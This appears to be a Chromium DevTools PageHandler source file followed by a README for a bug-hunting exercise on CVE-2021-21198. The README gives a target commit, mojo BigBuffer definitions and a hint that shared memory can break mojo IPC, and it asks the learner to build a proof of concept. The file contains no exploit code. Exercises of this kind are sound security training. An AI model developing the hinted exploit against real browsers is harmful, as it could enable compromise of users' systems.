weak_factory_.GetWeakPtr())); video_consumer_->SetFormat(kScreencastPixelFormat, gfx::ColorSpace::CreateREC709()); } DCHECK(emulation_handler_); } PageHandler::~PageHandler() = default; // static std::vector PageHandler::EnabledForWebContents( WebContentsImpl* contents) { if (!DevToolsAgentHost::HasFor(contents)) return std::vector(); std::vector result; for (auto* handler : PageHandler::ForAgentHost(static_cast( DevToolsAgentHost::GetOrCreateFor(contents).get()))) { if (handler->enabled_) result.push_back(handler); } return result; } // static std::vector PageHandler::ForAgentHost( DevToolsAgentHostImpl* host) { return host->HandlersByName(Page::Metainfo::domainName); } void PageHandler::SetRenderer(int process_host_id, RenderFrameHostImpl* frame_host) { if (host_ == frame_host) return; RenderWidgetHostImpl* widget_host = host_ ? host_->GetRenderWidgetHost() : nullptr; if (widget_host && observation_.IsObservingSource(widget_host)) observation_.Reset(); host_ = frame_host; widget_host = host_ ? host_->GetRenderWidgetHost() : nullptr; if (widget_host) observation_.Observe(widget_host); if (video_consumer_ && frame_host) { video_consumer_->SetFrameSinkId( frame_host->GetRenderWidgetHost()->GetFrameSinkId()); } } void PageHandler::Wire(UberDispatcher* dispatcher) { frontend_.reset(new Page::Frontend(dispatcher->channel())); Page::Dispatcher::wire(dispatcher, this); } void PageHandler::OnSynchronousSwapCompositorFrame( const cc::RenderFrameMetadata& frame_metadata) { // Cache |frame_metadata_| as InnerSwapCompositorFrame may also be called on // screencast start. frame_metadata_ = frame_metadata; if (screencast_enabled_) InnerSwapCompositorFrame(); } void PageHandler::RenderWidgetHostVisibilityChanged( RenderWidgetHost* widget_host, bool became_visible) { if (!screencast_enabled_) return; NotifyScreencastVisibility(became_visible); } void PageHandler::RenderWidgetHostDestroyed(RenderWidgetHost* widget_host) { DCHECK(observation_.IsObservingSource(widget_host)); observation_.Reset(); } void PageHandler::DidAttachInterstitialPage() { if (!enabled_) return; frontend_->InterstitialShown(); } void PageHandler::DidDetachInterstitialPage() { if (!enabled_) return; frontend_->InterstitialHidden(); } void PageHandler::DidRunJavaScriptDialog(const GURL& url, const std::u16string& message, const std::u16string& default_prompt, JavaScriptDialogType dialog_type, bool has_non_devtools_handlers, JavaScriptDialogCallback callback) { if (!enabled_) return; DCHECK(pending_dialog_.is_null()); pending_dialog_ = std::move(callback); std::string type = Page::DialogTypeEnum::Alert; if (dialog_type == JAVASCRIPT_DIALOG_TYPE_CONFIRM) type = Page::DialogTypeEnum::Confirm; if (dialog_type == JAVASCRIPT_DIALOG_TYPE_PROMPT) type = Page::DialogTypeEnum::Prompt; frontend_->JavascriptDialogOpening(url.spec(), base::UTF16ToUTF8(message), type, has_non_devtools_handlers, base::UTF16ToUTF8(default_prompt)); } void PageHandler::DidRunBeforeUnloadConfirm(const GURL& url, bool has_non_devtools_handlers, JavaScriptDialogCallback callback) { if (!enabled_) return; DCHECK(pending_dialog_.is_null()); pending_dialog_ = std::move(callback); frontend_->JavascriptDialogOpening(url.spec(), std::string(), Page::DialogTypeEnum::Beforeunload, has_non_devtools_handlers, std::string()); } void PageHandler::DidCloseJavaScriptDialog(bool success, const std::u16string& user_input) { if (!enabled_) return; pending_dialog_.Reset(); frontend_->JavascriptDialogClosed(success, base::UTF16ToUTF8(user_input)); } Response PageHandler::Enable() { enabled_ = true; return Response::FallThrough(); } Response PageHandler::Disable() { enabled_ = false; screencast_enabled_ = false; if (video_consumer_) video_consumer_->StopCapture(); if (!pending_dialog_.is_null()) { WebContentsImpl* web_contents = GetWebContents(); // Leave dialog hanging if there is a manager that can take care of it, // cancel and send ack otherwise. bool has_dialog_manager = web_contents && web_contents->GetDelegate() && web_contents->GetDelegate()->GetJavaScriptDialogManager(web_contents); if (!has_dialog_manager) std::move(pending_dialog_).Run(false, std::u16string()); pending_dialog_.Reset(); } for (auto* item : pending_downloads_) item->RemoveObserver(this); navigate_callbacks_.clear(); return Response::FallThrough(); } Response PageHandler::Crash() { WebContents* web_contents = WebContents::FromRenderFrameHost(host_); if (!web_contents) return Response::ServerError("Not attached to a page"); if (web_contents->IsCrashed()) return Response::ServerError("The target has already crashed"); if (host_->frame_tree_node()->navigation_request()) return Response::ServerError("Page has pending navigations, not killing"); return Response::FallThrough(); } Response PageHandler::Close() { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) return Response::ServerError("Not attached to a page"); web_contents->DispatchBeforeUnload(false /* auto_cancel */); return Response::Success(); } void PageHandler::Reload(Maybe bypassCache, Maybe script_to_evaluate_on_load, std::unique_ptr callback) { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) { callback->sendFailure(Response::InternalError()); return; } // In the case of inspecting a GuestView (e.g. a PDF), we should reload // the outer web contents (embedder), since otherwise reloading the guest by // itself will fail. if (web_contents->GetOuterWebContents()) web_contents = web_contents->GetOuterWebContents(); // It is important to fallback before triggering reload, so that // renderer could prepare beforehand. callback->fallThrough(); web_contents->GetController().Reload(bypassCache.fromMaybe(false) ? ReloadType::BYPASSING_CACHE : ReloadType::NORMAL, false); } static network::mojom::ReferrerPolicy ParsePolicyFromString( const std::string& policy) { if (policy == Page::ReferrerPolicyEnum::NoReferrer) return network::mojom::ReferrerPolicy::kNever; if (policy == Page::ReferrerPolicyEnum::NoReferrerWhenDowngrade) return network::mojom::ReferrerPolicy::kNoReferrerWhenDowngrade; if (policy == Page::ReferrerPolicyEnum::Origin) return network::mojom::ReferrerPolicy::kOrigin; if (policy == Page::ReferrerPolicyEnum::OriginWhenCrossOrigin) return network::mojom::ReferrerPolicy::kOriginWhenCrossOrigin; if (policy == Page::ReferrerPolicyEnum::SameOrigin) return network::mojom::ReferrerPolicy::kSameOrigin; if (policy == Page::ReferrerPolicyEnum::StrictOrigin) return network::mojom::ReferrerPolicy::kStrictOrigin; if (policy == Page::ReferrerPolicyEnum::StrictOriginWhenCrossOrigin) { return network::mojom::ReferrerPolicy::kStrictOriginWhenCrossOrigin; } if (policy == Page::ReferrerPolicyEnum::UnsafeUrl) return network::mojom::ReferrerPolicy::kAlways; DCHECK(policy.empty()); return network::mojom::ReferrerPolicy::kDefault; } void PageHandler::Navigate(const std::string& url, Maybe referrer, Maybe maybe_transition_type, Maybe frame_id, Maybe referrer_policy, std::unique_ptr callback) { GURL gurl(url); if (!gurl.is_valid()) { callback->sendFailure( Response::ServerError("Cannot navigate to invalid URL")); return; } if (!host_) { callback->sendFailure(Response::InternalError()); return; } ui::PageTransition type; std::string transition_type = maybe_transition_type.fromMaybe(Page::TransitionTypeEnum::Typed); if (transition_type == Page::TransitionTypeEnum::Link) type = ui::PAGE_TRANSITION_LINK; else if (transition_type == Page::TransitionTypeEnum::Typed) type = ui::PAGE_TRANSITION_TYPED; else if (transition_type == Page::TransitionTypeEnum::Address_bar) type = ui::PAGE_TRANSITION_FROM_ADDRESS_BAR; else if (transition_type == Page::TransitionTypeEnum::Auto_bookmark) type = ui::PAGE_TRANSITION_AUTO_BOOKMARK; else if (transition_type == Page::TransitionTypeEnum::Auto_subframe) type = ui::PAGE_TRANSITION_AUTO_SUBFRAME; else if (transition_type == Page::TransitionTypeEnum::Manual_subframe) type = ui::PAGE_TRANSITION_MANUAL_SUBFRAME; else if (transition_type == Page::TransitionTypeEnum::Generated) type = ui::PAGE_TRANSITION_GENERATED; else if (transition_type == Page::TransitionTypeEnum::Auto_toplevel) type = ui::PAGE_TRANSITION_AUTO_TOPLEVEL; else if (transition_type == Page::TransitionTypeEnum::Form_submit) type = ui::PAGE_TRANSITION_FORM_SUBMIT; else if (transition_type == Page::TransitionTypeEnum::Reload) type = ui::PAGE_TRANSITION_RELOAD; else if (transition_type == Page::TransitionTypeEnum::Keyword) type = ui::PAGE_TRANSITION_KEYWORD; else if (transition_type == Page::TransitionTypeEnum::Keyword_generated) type = ui::PAGE_TRANSITION_KEYWORD_GENERATED; else type = ui::PAGE_TRANSITION_TYPED; std::string out_frame_id = frame_id.fromMaybe( host_->frame_tree_node()->devtools_frame_token().ToString()); FrameTreeNode* frame_tree_node = FrameTreeNodeFromDevToolsFrameToken( host_->frame_tree_node(), out_frame_id); if (!frame_tree_node) { callback->sendFailure( Response::ServerError("No frame with given id found")); return; } NavigationController::LoadURLParams params(gurl); network::mojom::ReferrerPolicy policy = ParsePolicyFromString(referrer_policy.fromMaybe("")); params.referrer = Referrer(GURL(referrer.fromMaybe("")), policy); params.transition_type = type; params.frame_tree_node_id = frame_tree_node->frame_tree_node_id(); frame_tree_node->navigator().controller().LoadURLWithParams(params); if (frame_tree_node->navigation_request()) { navigate_callbacks_[frame_tree_node->navigation_request() ->devtools_navigation_token()] = std::move(callback); } else { callback->sendSuccess(out_frame_id, Maybe(), Maybe()); } } void PageHandler::NavigationReset(NavigationRequest* navigation_request) { auto navigate_callback = navigate_callbacks_.find(navigation_request->devtools_navigation_token()); if (navigate_callback == navigate_callbacks_.end()) return; std::string frame_id = navigation_request->frame_tree_node()->devtools_frame_token().ToString(); // A new NavigationRequest may have been created before |navigation_request| // started, in which case it is not marked as aborted. We report this as an // abort to DevTools anyway. if (!navigation_request->IsNavigationStarted()) { navigate_callback->second->sendSuccess( frame_id, Maybe(), Maybe(net::ErrorToString(net::ERR_ABORTED))); } else { bool success = navigation_request->GetNetErrorCode() == net::OK; std::string error_string = net::ErrorToString(navigation_request->GetNetErrorCode()); navigate_callback->second->sendSuccess( frame_id, Maybe( navigation_request->devtools_navigation_token().ToString()), success ? Maybe() : Maybe(error_string)); } navigate_callbacks_.erase(navigate_callback); } void PageHandler::DownloadWillBegin(FrameTreeNode* ftn, download::DownloadItem* item) { if (!enabled_) return; // The filename the end user sees may differ. This is an attempt to eagerly // determine the filename at the beginning of the download; see // DownloadTargetDeterminer:DownloadTargetDeterminer::Result // and DownloadTargetDeterminer::GenerateFileName in // chrome/browser/download/download_target_determiner.cc // for the more comprehensive logic. const std::u16string likely_filename = net::GetSuggestedFilename( item->GetURL(), item->GetContentDisposition(), std::string(), item->GetSuggestedFilename(), item->GetMimeType(), "download"); frontend_->DownloadWillBegin(ftn->devtools_frame_token().ToString(), item->GetGuid(), item->GetURL().spec(), base::UTF16ToUTF8(likely_filename)); item->AddObserver(this); pending_downloads_.insert(item); } void PageHandler::OnDownloadDestroyed(download::DownloadItem* item) { pending_downloads_.erase(item); } void PageHandler::OnDownloadUpdated(download::DownloadItem* item) { if (!enabled_) return; std::string state = Page::DownloadProgress::StateEnum::InProgress; if (item->GetState() == download::DownloadItem::COMPLETE) state = Page::DownloadProgress::StateEnum::Completed; else if (item->GetState() == download::DownloadItem::CANCELLED) state = Page::DownloadProgress::StateEnum::Canceled; frontend_->DownloadProgress(item->GetGuid(), item->GetTotalBytes(), item->GetReceivedBytes(), state); if (state != Page::DownloadProgress::StateEnum::InProgress) { item->RemoveObserver(this); pending_downloads_.erase(item); } } static const char* TransitionTypeName(ui::PageTransition type) { int32_t t = type & ~ui::PAGE_TRANSITION_QUALIFIER_MASK; switch (t) { case ui::PAGE_TRANSITION_LINK: return Page::TransitionTypeEnum::Link; case ui::PAGE_TRANSITION_TYPED: return Page::TransitionTypeEnum::Typed; case ui::PAGE_TRANSITION_AUTO_BOOKMARK: return Page::TransitionTypeEnum::Auto_bookmark; case ui::PAGE_TRANSITION_AUTO_SUBFRAME: return Page::TransitionTypeEnum::Auto_subframe; case ui::PAGE_TRANSITION_MANUAL_SUBFRAME: return Page::TransitionTypeEnum::Manual_subframe; case ui::PAGE_TRANSITION_GENERATED: return Page::TransitionTypeEnum::Generated; case ui::PAGE_TRANSITION_AUTO_TOPLEVEL: return Page::TransitionTypeEnum::Auto_toplevel; case ui::PAGE_TRANSITION_FORM_SUBMIT: return Page::TransitionTypeEnum::Form_submit; case ui::PAGE_TRANSITION_RELOAD: return Page::TransitionTypeEnum::Reload; case ui::PAGE_TRANSITION_KEYWORD: return Page::TransitionTypeEnum::Keyword; case ui::PAGE_TRANSITION_KEYWORD_GENERATED: return Page::TransitionTypeEnum::Keyword_generated; default: return Page::TransitionTypeEnum::Other; } } Response PageHandler::GetNavigationHistory( int* current_index, std::unique_ptr* entries) { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) return Response::InternalError(); NavigationController& controller = web_contents->GetController(); *current_index = controller.GetCurrentEntryIndex(); *entries = std::make_unique(); for (int i = 0; i != controller.GetEntryCount(); ++i) { auto* entry = controller.GetEntryAtIndex(i); (*entries)->emplace_back( Page::NavigationEntry::Create() .SetId(entry->GetUniqueID()) .SetUrl(entry->GetURL().spec()) .SetUserTypedURL(entry->GetUserTypedURL().spec()) .SetTitle(base::UTF16ToUTF8(entry->GetTitle())) .SetTransitionType(TransitionTypeName(entry->GetTransitionType())) .Build()); } return Response::Success(); } Response PageHandler::NavigateToHistoryEntry(int entry_id) { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) return Response::InternalError(); NavigationController& controller = web_contents->GetController(); for (int i = 0; i != controller.GetEntryCount(); ++i) { if (controller.GetEntryAtIndex(i)->GetUniqueID() == entry_id) { controller.GoToIndex(i); return Response::Success(); } } return Response::InvalidParams("No entry with passed id"); } static bool ReturnTrue(NavigationEntry* entry) { return true; } Response PageHandler::ResetNavigationHistory() { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) return Response::InternalError(); NavigationController& controller = web_contents->GetController(); controller.DeleteNavigationEntries(base::BindRepeating(&ReturnTrue)); return Response::Success(); } void PageHandler::CaptureSnapshot( Maybe format, std::unique_ptr callback) { if (!CanExecuteGlobalCommands(host_, callback)) return; std::string snapshot_format = format.fromMaybe(kMhtml); if (snapshot_format != kMhtml) { callback->sendFailure(Response::ServerError("Unsupported snapshot format")); return; } DevToolsMHTMLHelper::Capture(weak_factory_.GetWeakPtr(), std::move(callback)); } void PageHandler::CaptureScreenshot( Maybe format, Maybe quality, Maybe clip, Maybe from_surface, Maybe capture_beyond_viewport, std::unique_ptr callback) { if (!host_ || !host_->GetRenderWidgetHost() || !host_->GetRenderWidgetHost()->GetView()) { callback->sendFailure(Response::InternalError()); return; } if (!CanExecuteGlobalCommands(host_, callback)) return; if (clip.isJust()) { if (clip.fromJust()->GetWidth() == 0) { callback->sendFailure( Response::ServerError("Cannot take screenshot with 0 width.")); return; } if (clip.fromJust()->GetHeight() == 0) { callback->sendFailure( Response::ServerError("Cannot take screenshot with 0 height.")); return; } } RenderWidgetHostImpl* widget_host = host_->GetRenderWidgetHost(); std::string screenshot_format = format.fromMaybe(kPng); int screenshot_quality = quality.fromMaybe(kDefaultScreenshotQuality); // We don't support clip/emulation when capturing from window, bail out. if (!from_surface.fromMaybe(true)) { widget_host->GetSnapshotFromBrowser( base::BindOnce(&PageHandler::ScreenshotCaptured, weak_factory_.GetWeakPtr(), std::move(callback), screenshot_format, screenshot_quality, gfx::Size(), gfx::Size(), blink::DeviceEmulationParams(), base::nullopt), false); return; } // Welcome to the neural net of capturing screenshot while emulating device // metrics! bool emulation_enabled = emulation_handler_->device_emulation_enabled(); blink::DeviceEmulationParams original_params = emulation_handler_->GetDeviceEmulationParams(); blink::DeviceEmulationParams modified_params = original_params; // Capture original view size if we know we are going to destroy it. We use // it in ScreenshotCaptured to restore. gfx::Size original_view_size = emulation_enabled || clip.isJust() ? widget_host->GetView()->GetViewBounds().size() : gfx::Size(); gfx::Size emulated_view_size = modified_params.view_size; double dpfactor = 1; float widget_host_device_scale_factor = widget_host->GetDeviceScaleFactor(); if (emulation_enabled) { // When emulating, emulate again and scale to make resulting image match // physical DP resolution. If view_size is not overriden, use actual view // size. float original_scale = original_params.scale > 0 ? original_params.scale : 1; if (!modified_params.view_size.width()) { emulated_view_size.set_width( ceil(original_view_size.width() / original_scale)); } if (!modified_params.view_size.height()) { emulated_view_size.set_height( ceil(original_view_size.height() / original_scale)); } dpfactor = modified_params.device_scale_factor ? modified_params.device_scale_factor / widget_host_device_scale_factor : 1; // When clip is specified, we scale viewport via clip, otherwise we use // scale. modified_params.scale = clip.isJust() ? 1 : dpfactor; modified_params.view_size = emulated_view_size; } else if (clip.isJust()) { // When not emulating, still need to emulate the page size. modified_params.view_size = original_view_size; modified_params.screen_size = gfx::Size(); modified_params.device_scale_factor = 0; modified_params.scale = 1; } // Set up viewport in renderer. if (clip.isJust()) { modified_params.viewport_offset.SetPoint(clip.fromJust()->GetX(), clip.fromJust()->GetY()); modified_params.viewport_scale = clip.fromJust()->GetScale() * dpfactor; if (IsUseZoomForDSFEnabled()) { modified_params.viewport_offset.Scale(widget_host_device_scale_factor); } } base::Optional maybe_original_web_prefs; if (capture_beyond_viewport.fromMaybe(false)) { blink::web_pref::WebPreferences original_web_prefs = host_->GetRenderViewHost()->GetDelegate()->GetOrCreateWebPreferences(); maybe_original_web_prefs = original_web_prefs; blink::web_pref::WebPreferences modified_web_prefs = original_web_prefs; // Hiding scrollbar is needed to avoid scrollbar artefacts on the // screenshot. Details: https://crbug.com/1003629. modified_web_prefs.hide_scrollbars = true; modified_web_prefs.record_whole_document = true; host_->GetRenderViewHost()->GetDelegate()->SetWebPreferences( modified_web_prefs); { // TODO(crbug.com/1141835): Remove the bug is fixed. // Walkaround for the bug. Emulated `view_size` has to be set twice, // otherwise the scrollbar will be on the screenshot present. blink::DeviceEmulationParams tmp_params = modified_params; tmp_params.view_size = gfx::Size(1, 1); emulation_handler_->SetDeviceEmulationParams(tmp_params); } } // We use DeviceEmulationParams to either emulate, set viewport or both. emulation_handler_->SetDeviceEmulationParams(modified_params); // Set view size for the screenshot right after emulating. if (clip.isJust()) { double scale = dpfactor * clip.fromJust()->GetScale(); widget_host->GetView()->SetSize( gfx::Size(base::ClampRound(clip.fromJust()->GetWidth() * scale), base::ClampRound(clip.fromJust()->GetHeight() * scale))); } else if (emulation_enabled) { widget_host->GetView()->SetSize( gfx::ScaleToFlooredSize(emulated_view_size, dpfactor)); } gfx::Size requested_image_size = gfx::Size(); if (emulation_enabled || clip.isJust()) { if (clip.isJust()) { requested_image_size = gfx::Size(clip.fromJust()->GetWidth(), clip.fromJust()->GetHeight()); } else { requested_image_size = emulated_view_size; } double scale = widget_host_device_scale_factor * dpfactor; if (clip.isJust()) scale *= clip.fromJust()->GetScale(); requested_image_size = gfx::ScaleToRoundedSize(requested_image_size, scale); } widget_host->GetSnapshotFromBrowser( base::BindOnce(&PageHandler::ScreenshotCaptured, weak_factory_.GetWeakPtr(), std::move(callback), screenshot_format, screenshot_quality, original_view_size, requested_image_size, original_params, maybe_original_web_prefs), true); } void PageHandler::PrintToPDF(Maybe landscape, Maybe display_header_footer, Maybe print_background, Maybe scale, Maybe paper_width, Maybe paper_height, Maybe margin_top, Maybe margin_bottom, Maybe margin_left, Maybe margin_right, Maybe page_ranges, Maybe ignore_invalid_page_ranges, Maybe header_template, Maybe footer_template, Maybe prefer_css_page_size, Maybe transfer_mode, std::unique_ptr callback) { callback->sendFailure(Response::ServerError("PrintToPDF is not implemented")); return; } Response PageHandler::StartScreencast(Maybe format, Maybe quality, Maybe max_width, Maybe max_height, Maybe every_nth_frame) { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) return Response::InternalError(); RenderWidgetHostImpl* widget_host = host_ ? host_->GetRenderWidgetHost() : nullptr; if (!widget_host) return Response::InternalError(); screencast_enabled_ = true; screencast_format_ = format.fromMaybe(kPng); screencast_quality_ = quality.fromMaybe(kDefaultScreenshotQuality); if (screencast_quality_ < 0 || screencast_quality_ > 100) screencast_quality_ = kDefaultScreenshotQuality; screencast_max_width_ = max_width.fromMaybe(-1); screencast_max_height_ = max_height.fromMaybe(-1); ++session_id_; frame_counter_ = 0; frames_in_flight_ = 0; capture_every_nth_frame_ = every_nth_frame.fromMaybe(1); bool visible = !widget_host->is_hidden(); NotifyScreencastVisibility(visible); if (video_consumer_) { gfx::Size surface_size = gfx::Size(); RenderWidgetHostViewBase* const view = static_cast(host_->GetView()); if (view) { surface_size = view->GetCompositorViewportPixelSize(); last_surface_size_ = surface_size; } gfx::Size snapshot_size = DetermineSnapshotSize( surface_size, screencast_max_width_, screencast_max_height_); if (!snapshot_size.IsEmpty()) video_consumer_->SetMinAndMaxFrameSize(snapshot_size, snapshot_size); video_consumer_->StartCapture(); return Response::FallThrough(); } if (!visible) return Response::FallThrough(); if (frame_metadata_) { InnerSwapCompositorFrame(); } else { widget_host->RequestForceRedraw(0); } return Response::FallThrough(); } Response PageHandler::StopScreencast() { screencast_enabled_ = false; if (video_consumer_) video_consumer_->StopCapture(); return Response::FallThrough(); } Response PageHandler::ScreencastFrameAck(int session_id) { if (session_id == session_id_) --frames_in_flight_; return Response::Success(); } Response PageHandler::HandleJavaScriptDialog(bool accept, Maybe prompt_text) { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) return Response::InternalError(); if (pending_dialog_.is_null()) return Response::InvalidParams("No dialog is showing"); std::u16string prompt_override; if (prompt_text.isJust()) prompt_override = base::UTF8ToUTF16(prompt_text.fromJust()); std::move(pending_dialog_).Run(accept, prompt_override); // Clean up the dialog UI if any. if (web_contents->GetDelegate()) { JavaScriptDialogManager* manager = web_contents->GetDelegate()->GetJavaScriptDialogManager(web_contents); if (manager) { manager->HandleJavaScriptDialog( web_contents, accept, prompt_text.isJust() ? &prompt_override : nullptr); } } return Response::Success(); } Response PageHandler::BringToFront() { WebContentsImpl* wc = GetWebContents(); if (wc) { wc->Activate(); wc->Focus(); return Response::Success(); } return Response::InternalError(); } Response PageHandler::SetDownloadBehavior(const std::string& behavior, Maybe download_path) { BrowserContext* browser_context = host_ ? host_->GetProcess()->GetBrowserContext() : nullptr; if (!browser_context) return Response::ServerError("Could not fetch browser context"); if (host_ && host_->GetParent()) return Response::ServerError(kCommandIsOnlyAvailableAtTopTarget); return browser_handler_->DoSetDownloadBehavior(behavior, browser_context, std::move(download_path)); } void PageHandler::GetAppManifest( std::unique_ptr callback) { if (!host_) { callback->sendFailure(Response::ServerError("Cannot retrieve manifest")); return; } if (!CanExecuteGlobalCommands(host_, callback)) return; ManifestManagerHost::GetOrCreateForCurrentDocument(host_->GetMainFrame()) ->RequestManifestDebugInfo(base::BindOnce(&PageHandler::GotManifest, weak_factory_.GetWeakPtr(), std::move(callback))); } WebContentsImpl* PageHandler::GetWebContents() { return host_ && !host_->frame_tree_node()->parent() ? static_cast( WebContents::FromRenderFrameHost(host_)) : nullptr; } void PageHandler::NotifyScreencastVisibility(bool visible) { if (visible) capture_retry_count_ = kCaptureRetryLimit; frontend_->ScreencastVisibilityChanged(visible); } bool PageHandler::ShouldCaptureNextScreencastFrame() { return frames_in_flight_ <= kMaxScreencastFramesInFlight && !(++frame_counter_ % capture_every_nth_frame_); } void PageHandler::InnerSwapCompositorFrame() { if (!host_) return; if (!ShouldCaptureNextScreencastFrame()) return; RenderWidgetHostViewBase* const view = static_cast(host_->GetView()); if (!view || !view->IsSurfaceAvailableForCopy()) return; const gfx::Size surface_size = view->GetCompositorViewportPixelSize(); if (surface_size.IsEmpty()) return; const gfx::Size snapshot_size = DetermineSnapshotSize( surface_size, screencast_max_width_, screencast_max_height_); if (snapshot_size.IsEmpty()) return; double top_controls_visible_height = frame_metadata_->top_controls_height * frame_metadata_->top_controls_shown_ratio; std::unique_ptr page_metadata = BuildScreencastFrameMetadata( surface_size, frame_metadata_->device_scale_factor, frame_metadata_->page_scale_factor, frame_metadata_->root_scroll_offset.value_or(gfx::Vector2dF()), top_controls_visible_height); if (!page_metadata) return; // Request a copy of the surface as a scaled SkBitmap. view->CopyFromSurface( gfx::Rect(), snapshot_size, base::BindOnce(&PageHandler::ScreencastFrameCaptured, weak_factory_.GetWeakPtr(), std::move(page_metadata))); frames_in_flight_++; } void PageHandler::OnFrameFromVideoConsumer( scoped_refptr frame) { if (!host_) return; if (!ShouldCaptureNextScreencastFrame()) return; RenderWidgetHostViewBase* const view = static_cast(host_->GetView()); if (!view) return; const gfx::Size surface_size = view->GetCompositorViewportPixelSize(); if (surface_size.IsEmpty()) return; // If window has been resized, set the new dimensions. if (surface_size != last_surface_size_) { last_surface_size_ = surface_size; gfx::Size snapshot_size = DetermineSnapshotSize( surface_size, screencast_max_width_, screencast_max_height_); if (!snapshot_size.IsEmpty()) video_consumer_->SetMinAndMaxFrameSize(snapshot_size, snapshot_size); return; } double device_scale_factor, page_scale_factor; double top_controls_visible_height; gfx::Vector2dF root_scroll_offset; GetMetadataFromFrame(*frame, &device_scale_factor, &page_scale_factor, &root_scroll_offset, &top_controls_visible_height); std::unique_ptr page_metadata = BuildScreencastFrameMetadata(surface_size, device_scale_factor, page_scale_factor, root_scroll_offset, top_controls_visible_height); if (!page_metadata) return; frames_in_flight_++; ScreencastFrameCaptured(std::move(page_metadata), DevToolsVideoConsumer::GetSkBitmapFromFrame(frame)); } void PageHandler::ScreencastFrameCaptured( std::unique_ptr page_metadata, const SkBitmap& bitmap) { if (bitmap.drawsNothing()) { if (capture_retry_count_) { --capture_retry_count_; base::ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::BindOnce(&PageHandler::InnerSwapCompositorFrame, weak_factory_.GetWeakPtr()), base::TimeDelta::FromMilliseconds(kFrameRetryDelayMs)); } --frames_in_flight_; return; } base::ThreadPool::PostTaskAndReplyWithResult( FROM_HERE, {base::TaskShutdownBehavior::CONTINUE_ON_SHUTDOWN}, base::BindOnce(&EncodeSkBitmap, bitmap, screencast_format_, screencast_quality_), base::BindOnce(&PageHandler::ScreencastFrameEncoded, weak_factory_.GetWeakPtr(), std::move(page_metadata))); } void PageHandler::ScreencastFrameEncoded( std::unique_ptr page_metadata, const protocol::Binary& data) { if (data.size() == 0) { --frames_in_flight_; return; // Encode failed. } frontend_->ScreencastFrame(data, std::move(page_metadata), session_id_); } void PageHandler::ScreenshotCaptured( std::unique_ptr callback, const std::string& format, int quality, const gfx::Size& original_view_size, const gfx::Size& requested_image_size, const blink::DeviceEmulationParams& original_emulation_params, const base::Optional& maybe_original_web_prefs, const gfx::Image& image) { if (original_view_size.width()) { RenderWidgetHostImpl* widget_host = host_->GetRenderWidgetHost(); widget_host->GetView()->SetSize(original_view_size); emulation_handler_->SetDeviceEmulationParams(original_emulation_params); } if (maybe_original_web_prefs) { host_->GetRenderViewHost()->GetDelegate()->SetWebPreferences( maybe_original_web_prefs.value()); } if (image.IsEmpty()) { callback->sendFailure( Response::ServerError("Unable to capture screenshot")); return; } if (!requested_image_size.IsEmpty() && (image.Width() != requested_image_size.width() || image.Height() != requested_image_size.height())) { const SkBitmap* bitmap = image.ToSkBitmap(); SkBitmap cropped = SkBitmapOperations::CreateTiledBitmap( *bitmap, 0, 0, requested_image_size.width(), requested_image_size.height()); gfx::Image croppedImage = gfx::Image::CreateFrom1xBitmap(cropped); callback->sendSuccess(EncodeImage(croppedImage, format, quality)); } else { callback->sendSuccess(EncodeImage(image, format, quality)); } } void PageHandler::GotManifest(std::unique_ptr callback, const GURL& manifest_url, const ::blink::Manifest& parsed_manifest, blink::mojom::ManifestDebugInfoPtr debug_info) { auto errors = std::make_unique>(); bool failed = true; if (debug_info) { failed = false; for (const auto& error : debug_info->errors) { errors->emplace_back(Page::AppManifestError::Create() .SetMessage(error->message) .SetCritical(error->critical) .SetLine(error->line) .SetColumn(error->column) .Build()); if (error->critical) failed = true; } } std::unique_ptr parsed; if (!parsed_manifest.IsEmpty()) { parsed = Page::AppManifestParsedProperties::Create() .SetScope(parsed_manifest.scope.possibly_invalid_spec()) .Build(); } callback->sendSuccess( manifest_url.possibly_invalid_spec(), std::move(errors), failed ? Maybe() : debug_info->raw_manifest, std::move(parsed)); } Response PageHandler::StopLoading() { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) return Response::InternalError(); web_contents->Stop(); return Response::Success(); } Response PageHandler::SetWebLifecycleState(const std::string& state) { WebContentsImpl* web_contents = GetWebContents(); if (!web_contents) return Response::ServerError("Not attached to a page"); if (state == Page::SetWebLifecycleState::StateEnum::Frozen) { // TODO(fmeawad): Instead of forcing a visibility change, only allow // freezing a page if it was already hidden. web_contents->WasHidden(); web_contents->SetPageFrozen(true); return Response::Success(); } if (state == Page::SetWebLifecycleState::StateEnum::Active) { web_contents->SetPageFrozen(false); return Response::Success(); } return Response::ServerError("Unidentified lifecycle state"); } void PageHandler::GetInstallabilityErrors( std::unique_ptr callback) { auto installability_errors = std::make_unique>(); // TODO: Use InstallableManager once it moves into content/. // Until then, this code is only used to return empty array in the tests. callback->sendSuccess(std::move(installability_errors)); } void PageHandler::GetManifestIcons( std::unique_ptr callback) { // TODO: Use InstallableManager once it moves into content/. // Until then, this code is only used to return no image data in the tests. callback->sendSuccess(Maybe()); } } // namespace protocol } // namespace content ================================================ FILE: LEVEL_3/exercise_6/README.md ================================================ # Exercise 6 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. LEVEL 2 we do the same as LEVEL 1 without the help of Details. But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. ## CVE-2021-21198 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 3, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1184399
-------- ### Set environment after fetch chromium ```sh git reset --hard 983a7365ebe7fa934fb4660409105bae294d70a5 ``` ### Related code ```c++ // Typemapped such that arbitrarily large IPC::Message objects can be sent and // received with minimal copying. struct Message { mojo_base.mojom.BigBuffer buffer; array? handles; }; ======================================== union BigBuffer { array bytes; BigBufferSharedMemoryRegion shared_memory; bool invalid_buffer; }; ``` ipc/ipc_message_pipe_reader.cc base/pickle.cc tips: You just need to think how `shared_memory` can be used to breaking mojo. ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
